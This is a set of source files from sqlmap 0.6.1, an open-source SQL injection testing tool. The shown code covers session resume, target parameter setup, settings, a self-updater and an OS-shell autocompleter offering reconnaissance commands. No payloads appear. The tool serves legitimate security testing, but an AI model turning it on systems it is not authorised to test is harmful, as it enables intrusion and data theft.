This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.common import dataToSessionFile
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
def setString():
"""
Save string to match in session file.
"""
condition = (
conf.sessionFile and ( not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("String") ) )
)
if condition:
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
def setInjection():
"""
Save information retrieved about injection place and parameter in the
session file.
"""
if kb.injPlace == "User-Agent":
kb.injParameter = conf.agent
condition = (
kb.injPlace and kb.injParameter and
conf.sessionFile and ( not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Injection point")
or not kb.resumedQueries[conf.url].has_key("Injection parameter")
or not kb.resumedQueries[conf.url].has_key("Injection type")
) ) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Injection point][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injPlace))
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
def setParenthesis(parenthesisCount):
"""
@param parenthesisCount: number of parenthesis to be set into the
knowledge base as fingerprint.
@type parenthesisCount: C{int}
"""
condition = (
conf.sessionFile and ( not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Parenthesis") ) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Parenthesis][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], parenthesisCount))
kb.parenthesis = parenthesisCount
def setDbms(dbms):
"""
@param dbms: database management system to be set into the knowledge
base as fingerprint.
@type dbms: C{str}
"""
condition = (
conf.sessionFile and ( not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("DBMS") ) )
)
if condition:
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES]))
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
if dbmsRegExp:
dbms = dbmsRegExp.group(1)
kb.dbms = dbms
def setUnion(comment=None, count=None, position=None):
"""
@param comment: union comment to save in session file
@type comment: C{str}
@param count: union count to save in session file
@type count: C{str}
@param position: union position to save in session file
@type position: C{str}
"""
if comment and count:
condition = (
conf.sessionFile and ( not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Union comment")
or not kb.resumedQueries[conf.url].has_key("Union count")
) ) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], comment))
dataToSessionFile("[%s][%s][%s][Union count][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], count))
kb.unionComment = comment
kb.unionCount = count
elif position:
condition = (
conf.sessionFile and ( not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
( not kb.resumedQueries[conf.url].has_key("Union position")
) ) )
)
if condition:
dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], position))
kb.unionPosition = position
def resumeConfKb(expression, url, value):
if expression == "String" and url == conf.url:
string = value[:-1]
logMsg = "resuming string match '%s' from session file" % string
logger.info(logMsg)
if string and ( not conf.string or string != conf.string ):
if not conf.string:
message = "you did not provide any string to match. "
else:
message = "The string you provided does not match "
message += "the resumed string. "
message += "Do you want to use the resumed string "
message += "to be matched in page when the query "
message += "is valid? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
conf.string = string
elif expression == "Injection point" and url == conf.url:
injPlace = value[:-1]
logMsg = "resuming injection point '%s' from session file" % injPlace
logger.info(logMsg)
if not conf.paramDict.has_key(injPlace):
warnMsg = "none of the parameters you provided "
warnMsg += "matches the resumable injection point. "
warnMsg += "sqlmap is going to reidentify the "
warnMsg += "injectable point"
logger.warn(warnMsg)
else:
kb.injPlace = injPlace
elif expression == "Injection parameter" and url == conf.url:
injParameter = value[:-1]
logMsg = "resuming injection parameter '%s' from session file" % injParameter
logger.info(logMsg)
condition = (
not conf.paramDict.has_key(kb.injPlace) or
not conf.paramDict[kb.injPlace].has_key(injParameter)
)
if condition:
warnMsg = "none of the parameters you provided "
warnMsg += "matches the resumable injection parameter. "
warnMsg += "sqlmap is going to reidentify the "
warnMsg += "injectable point"
logger.warn(warnMsg)
else:
kb.injParameter = injParameter
elif expression == "Injection type" and url == conf.url:
kb.injType = value[:-1]
logMsg = "resuming injection type '%s' from session file" % kb.injType
logger.info(logMsg)
elif expression == "Parenthesis" and url == conf.url:
kb.parenthesis = int(value[:-1])
logMsg = "resuming %d number of " % kb.parenthesis
logMsg += "parenthesis from session file"
logger.info(logMsg)
elif expression == "DBMS" and url == conf.url:
dbms = value[:-1]
logMsg = "resuming back-end DBMS '%s' " % dbms
logMsg += "from session file"
logger.info(logMsg)
dbms = dbms.lower()
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES]))
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
if dbmsRegExp:
dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [dbmsRegExp.group(2)]
if conf.dbms and conf.dbms.lower() != dbms:
message = "you provided '%s' as back-end DBMS, " % conf.dbms
message += "but from a past scan information on the target URL "
message += "sqlmap assumes the back-end DBMS is %s. " % dbms
message += "Do you really want to force the back-end "
message += "DBMS value? [y/N] "
test = readInput(message, default="N")
if not test or test[0] in ("n", "N"):
conf.dbms = dbms
else:
conf.dbms = dbms
elif expression == "Union comment" and url == conf.url:
kb.unionComment = value[:-1]
logMsg = "resuming union comment "
logMsg += "'%s' from session file" % kb.unionComment
logger.info(logMsg)
elif expression == "Union count" and url == conf.url:
kb.unionCount = int(value[:-1])
logMsg = "resuming union count "
logMsg += "%s from session file" % kb.unionCount
logger.info(logMsg)
elif expression == "Union position" and url == conf.url:
kb.unionPosition = int(value[:-1])
logMsg = "resuming union position "
logMsg += "%s from session file" % kb.unionPosition
logger.info(logMsg)

66
lib/core/settings.py Normal file
View File

@@ -0,0 +1,66 @@
#!/usr/bin/env python
"""
$Id: settings.py 373 2008-10-03 10:08:39Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import logging
import os
import sys
# sqlmap version and site
VERSION = "0.6.1"
VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net"
# sqlmap logger
logging.addLevelName(9, "TRAFFIC OUT")
logging.addLevelName(8, "TRAFFIC IN")
LOGGER = logging.getLogger("sqlmapLog")
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
LOGGER_HANDLER.setFormatter(FORMATTER)
LOGGER.addHandler(LOGGER_HANDLER)
LOGGER.setLevel(logging.WARN)
# Url to update Microsoft SQL Server XML versions file from
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
# Url to update sqlmap from
SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
# Database managemen system specific variables
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" )
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" )
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
MYSQL_ALIASES = [ "mysql", "my" ]
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES

103
lib/core/shell.py Normal file
View File

@@ -0,0 +1,103 @@
#!/usr/bin/env python
"""
$Id: shell.py 259 2008-07-20 22:25:50Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import atexit
import os
import rlcompleter
from lib.core import readlineng as readline
from lib.core.data import kb
from lib.core.data import paths
from lib.core.data import queries
def saveHistory():
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
readline.write_history_file(historyPath)
def loadHistory():
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
if os.path.exists(historyPath):
readline.read_history_file(historyPath)
def queriesForAutoCompletion():
autoComplQueries = {}
for _, query in queries[kb.dbms].items():
if isinstance(query, str) and len(query) > 1:
autoComplQuery = query
elif isinstance(query, dict) and "inband" in query:
autoComplQuery = query["inband"]["query"]
autoComplQueries[autoComplQuery] = None
return autoComplQueries
class CompleterNG(rlcompleter.Completer):
def global_matches(self, text):
"""
Compute matches when text is a simple name.
Return a list of all names currently defined in self.namespace
that match.
"""
matches = []
n = len(text)
for list in [ self.namespace ]:
for word in list:
if word[:n] == text:
matches.append(word)
return matches
def autoCompletion(sqlShell=False, osShell=False):
# First of all we check if the readline is available, by default
# it is not in Python default installation on Windows
if not readline.haveReadline:
return
if sqlShell:
completer = CompleterNG(queriesForAutoCompletion())
elif osShell:
# TODO: add more operating system commands; differentiate commands
# based on future operating system fingerprint
completer = CompleterNG({
"id": None, "ifconfig": None, "ls": None,
"netstat -natu": None, "pwd": None,
"uname": None, "whoami": None,
})
readline.set_completer(completer.complete)
readline.parse_and_bind("tab: complete")
loadHistory()
atexit.register(saveHistory)

218
lib/core/target.py Normal file
View File

@@ -0,0 +1,218 @@
#!/usr/bin/env python
"""
$Id: target.py 294 2008-07-28 23:30:15Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
import time
from lib.core.common import dataToSessionFile
from lib.core.common import paramToDict
from lib.core.common import parseTargetUrl
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.dump import dumper
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import resumeConfKb
def __setRequestParams():
"""
Check and set the parameters and perform checks on 'data' option for
HTTP method POST.
"""
__testableParameters = False
# Perform checks on GET parameters
if conf.parameters.has_key("GET") and conf.parameters["GET"]:
parameters = conf.parameters["GET"]
__paramDict = paramToDict("GET", parameters)
if __paramDict:
conf.paramDict["GET"] = __paramDict
__testableParameters = True
# Perform checks on POST parameters
if conf.method == "POST" and not conf.data:
errMsg = "HTTP POST method depends on HTTP data value to be posted"
raise sqlmapSyntaxException, errMsg
if conf.data:
conf.parameters["POST"] = conf.data
__paramDict = paramToDict("POST", conf.data)
if __paramDict:
conf.paramDict["POST"] = __paramDict
__testableParameters = True
# Perform checks on Cookie parameters
if conf.cookie:
conf.parameters["Cookie"] = conf.cookie
__paramDict = paramToDict("Cookie", conf.cookie)
if __paramDict:
conf.paramDict["Cookie"] = __paramDict
__testableParameters = True
# Perform checks on User-Agent header value
if conf.httpHeaders:
for httpHeader, headerValue in conf.httpHeaders:
if httpHeader == "User-Agent":
conf.parameters["User-Agent"] = headerValue
condition = not conf.testParameter
condition |= "User-Agent" in conf.testParameter
condition |= "user-agent" in conf.testParameter
condition |= "useragent" in conf.testParameter
condition |= "ua" in conf.testParameter
if condition:
conf.paramDict["User-Agent"] = { "User-Agent": headerValue }
__testableParameters = True
if not conf.parameters:
errMsg = "you did not provide any GET, POST and Cookie "
errMsg += "parameter, neither an User-Agent header"
raise sqlmapGenericException, errMsg
elif not __testableParameters:
errMsg = "all testable parameters you provided are not present "
errMsg += "within the GET, POST and Cookie parameters"
raise sqlmapGenericException, errMsg
def __setOutputResume():
"""
Check and set the output text file and the resume functionality.
"""
if conf.sessionFile and os.path.exists(conf.sessionFile):
readSessionFP = open(conf.sessionFile, "r")
lines = readSessionFP.readlines()
for line in lines:
if line.count("][") == 4:
line = line.split("][")
if len(line) != 5:
continue
url, _, _, expression, value = line
if not value:
continue
if url[0] == "[":
url = url[1:]
if value[-1] == "\n":
value = value[:-1]
if url != conf.url:
continue
if url not in kb.resumedQueries.keys():
kb.resumedQueries[url] = {}
kb.resumedQueries[url][expression] = value
resumeConfKb(expression, url, value)
if expression not in kb.resumedQueries[url].keys():
kb.resumedQueries[url][expression] = value
elif len(value) >= len(kb.resumedQueries[url][expression]):
kb.resumedQueries[url][expression] = value
readSessionFP.close()
if conf.sessionFile:
try:
conf.sessionFP = open(conf.sessionFile, "a")
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
except IOError:
errMsg = "unable to write on the session file specified"
raise sqlmapFilePathException, errMsg
def __createFilesDir():
"""
Create the file directory.
"""
if not conf.rFile:
return
conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
if not os.path.isdir(conf.filePath):
os.makedirs(conf.filePath, 0755)
def __createDumpDir():
"""
Create the dump directory.
"""
if not conf.dumpTable and not conf.dumpAll:
return
conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname
if not os.path.isdir(conf.dumpPath):
os.makedirs(conf.dumpPath, 0755)
def initTargetEnv():
"""
Initialize target environment.
"""
parseTargetUrl()
__setRequestParams()
__setOutputResume()
def createTargetDirs():
"""
Create the output directory.
"""
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath, 0755)
dumper.setOutputFile()
__createDumpDir()
__createFilesDir()

40
lib/core/unescaper.py Normal file
View File

@@ -0,0 +1,40 @@
#!/usr/bin/env python
"""
$Id: unescaper.py 214 2008-07-14 14:17:06Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
class Unescaper:
def __init__(self):
self.__unescaper = None
def setUnescape(self, unescapeFunction):
self.__unescaper = unescapeFunction
def unescape(self, expression):
return self.__unescaper(expression)
unescaper = Unescaper()

337
lib/core/update.py Normal file
View File

@@ -0,0 +1,337 @@
#!/usr/bin/env python
"""
$Id: update.py 368 2008-09-30 00:09:59Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import difflib
import os
import re
import shutil
import tempfile
import urlparse
import zipfile
from distutils.dir_util import mkpath
from xml.dom.minidom import Document
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapFilePathException
from lib.core.settings import MSSQL_VERSIONS_URL
from lib.core.settings import SQLMAP_VERSION_URL
from lib.core.settings import SQLMAP_SOURCE_URL
from lib.core.settings import VERSION
from lib.request.connect import Connect as Request
def __updateMSSQLXML():
infoMsg = "updating Microsoft SQL Server XML versions file"
logger.info(infoMsg)
try:
mssqlVersionsHtmlString = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
except sqlmapConnectionException, _:
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
__mssqlHostname = __mssqlPath[1]
warnMsg = "sqlmap was unable to connect to %s," % __mssqlHostname
warnMsg += " check your Internet connection and retry"
logger.warn(warnMsg)
return
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M)
releasesCount = len(releases)
# Create the minidom document
doc = Document()
# Create the <root> base element
root = doc.createElement("root")
doc.appendChild(root)
for index in range(0, releasesCount):
release = releases[index]
# Skip Microsoft SQL Server 6.5 because the HTML
# table is in another format
if release == "6.5":
continue
# Create the <signatures> base element
signatures = doc.createElement("signatures")
signatures.setAttribute("release", release)
root.appendChild(signatures)
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
if index == releasesCount - 1:
stopIdx = len(mssqlVersionsHtmlString)
else:
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
for servicePack, version in servicepackVersion:
if servicePack.startswith(" "):
servicePack = servicePack[1:]
if "/" in servicePack:
servicePack = servicePack[:servicePack.index("/")]
if "(" in servicePack:
servicePack = servicePack[:servicePack.index("(")]
if "-" in servicePack:
servicePack = servicePack[:servicePack.index("-")]
if "*" in servicePack:
servicePack = servicePack[:servicePack.index("*")]
servicePack = servicePack.replace("\t", " ")
servicePack = servicePack.replace(" ", " ")
servicePack = servicePack.replace("No SP", "0")
servicePack = servicePack.replace("RTM", "0")
servicePack = servicePack.replace("SP", "")
servicePack = servicePack.replace("<a href=\"http:", "")
if servicePack.endswith(" "):
servicePack = servicePack[:-1]
if servicePack and version:
# Create the main <card> element
signature = doc.createElement("signature")
signatures.appendChild(signature)
# Create a <version> element
versionElement = doc.createElement("version")
signature.appendChild(versionElement)
# Give the <version> elemenet some text
versionText = doc.createTextNode(version)
versionElement.appendChild(versionText)
# Create a <servicepack> element
servicepackElement = doc.createElement("servicepack")
signature.appendChild(servicepackElement)
# Give the <servicepack> elemenet some text
servicepackText = doc.createTextNode(servicePack)
servicepackElement.appendChild(servicepackText)
# Get the XML old file content to a local variable
mssqlXml = open(paths.MSSQL_XML, "r")
oldMssqlXml = mssqlXml.read()
oldMssqlXmlSignatures = oldMssqlXml.count("<signature>")
oldMssqlXmlList = oldMssqlXml.splitlines(1)
mssqlXml.close()
# Backup the XML old file
shutil.copy(paths.MSSQL_XML, "%s.bak" % paths.MSSQL_XML)
# Save our newly created XML to the signatures file
mssqlXml = open(paths.MSSQL_XML, "w")
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
mssqlXml.close()
# Get the XML new file content to a local variable
mssqlXml = open(paths.MSSQL_XML, "r")
newMssqlXml = mssqlXml.read()
newMssqlXmlSignatures = newMssqlXml.count("<signature>")
newMssqlXmlList = newMssqlXml.splitlines(1)
mssqlXml.close()
# If the new XML versions file differs from the old one it probably
# means that we have got new Microsoft SQL Server versions
if oldMssqlXmlSignatures != newMssqlXmlSignatures:
infoMsg = "Microsoft SQL Server XML versions file updated successfully. "
if oldMssqlXmlSignatures < newMssqlXmlSignatures:
infoMsg += "%d " % (newMssqlXmlSignatures - oldMssqlXmlSignatures)
infoMsg += "new signatures added since the last update"
# NOTE: This should never happen, in this rare case it might
# be that the Microsoft SQL Server versions database
# (MSSQL_VERSIONS_URL) changed its structure
else:
infoMsg += "%d " % (oldMssqlXmlSignatures - newMssqlXmlSignatures)
infoMsg += "signatures removed since the last update"
logger.info(infoMsg)
message = "Do you want to see the differences? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
infoMsg = "Differences:"
logger.info(infoMsg)
# Compare the old XML file with the new one
differ = difflib.Differ()
differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList))
# Show only the different lines
for line in differences:
if line.startswith("-") or line.startswith("+") or line.startswith("?"):
print line.strip("\n")
else:
infoMsg = "no new Microsoft SQL Server versions since the "
infoMsg += "last update"
logger.info(infoMsg)
def __createFile(pathname, data):
mkpath(os.path.dirname(pathname))
fileFP = open(pathname, "wb")
fileFP.write(data)
fileFP.close()
def __extractZipFile(zipFile):
# Check if the saved binary file is really a ZIP file
if zipfile.is_zipfile(zipFile):
sqlmapZipFile = zipfile.ZipFile(zipFile)
else:
raise sqlmapFilePathException, "the downloaded file does not seem to be a zipfile"
# Create a temporary directory
tempDir = tempfile.mkdtemp("", "sqlmap_latest-")
# Extract each file within the ZIP file in the temporary directory
for info in sqlmapZipFile.infolist():
if info.filename[-1] != '/':
data = sqlmapZipFile.read(info.filename)
__createFile(os.path.join(tempDir, info.filename), data)
return tempDir
def __updateSqlmap():
infoMsg = "updating sqlmap"
logger.info(infoMsg)
debugMsg = "checking if a new version is available"
logger.debug(debugMsg)
try:
sqlmapNewestVersion = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
except sqlmapConnectionException, _:
__sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL)
__sqlmapHostname = __sqlmapPath[1]
warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname
warnMsg += ", check your Internet connection and retry"
logger.warn(warnMsg)
return
sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "")
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
errMsg = "sqlmap version is in a wrong syntax"
logger.errMsg(errMsg)
return
if sqlmapNewestVersion == VERSION:
infoMsg = "you are already running sqlmap latest stable version"
logger.info(infoMsg)
return
else:
infoMsg = "sqlmap latest stable version is %s. " % sqlmapNewestVersion
infoMsg += "Going to download it from the SourceForge File List page"
logger.info(infoMsg)
sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion
try:
sqlmapBinaryString = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
except sqlmapConnectionException, _:
__sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl)
__sqlmapHostname = __sqlmapPath[1]
warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname
warnMsg += ", check your Internet connection and retry"
logger.warn(warnMsg)
return
# Save the sqlmap compressed source to a ZIP file in a temporary
# directory and extract it
zipFile = os.path.join(tempfile.gettempdir(), "sqlmap-%s.zip" % sqlmapNewestVersion)
__createFile(zipFile, sqlmapBinaryString)
tempDir = __extractZipFile(zipFile)
# For each file and directory in the temporary directory copy it
# to the sqlmap root path and set right permission
# TODO: remove files not needed anymore and all pyc within the
# sqlmap root path in the end
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap")):
# Just for development release
if '.svn' in dirs:
dirs.remove('.svn')
cleanRoot = root.replace(tempDir, "")
cleanRoot = cleanRoot.replace("%ssqlmap" % os.sep, "")
if cleanRoot.startswith("/"):
cleanRoot = cleanRoot[1:]
for f in files:
# Just for development release
if f.endswith(".pyc") or f.endswith(".pyo"):
continue
srcFile = os.path.join(root, f)
dstFile = os.path.join(paths.SQLMAP_ROOT_PATH, os.path.join(cleanRoot, f))
if os.path.exists(dstFile):
debugMsg = "replacing file '%s'" % dstFile
else:
debugMsg = "creating new file '%s'" % dstFile
logger.debug(debugMsg)
if f == "sqlmap.conf" and os.path.exists(dstFile):
infoMsg = "backupping configuration file to '%s.bak'" % dstFile
logger.info(infoMsg)
shutil.move(dstFile, "%s.bak" % dstFile)
mkpath(os.path.dirname(dstFile))
shutil.copy(srcFile, dstFile)
if f.endswith(".py"):
os.chmod(dstFile, 0755)
infoMsg = "sqlmap updated successfully"
logger.info(infoMsg)
def update():
if not conf.updateAll:
return
__updateSqlmap()
__updateMSSQLXML()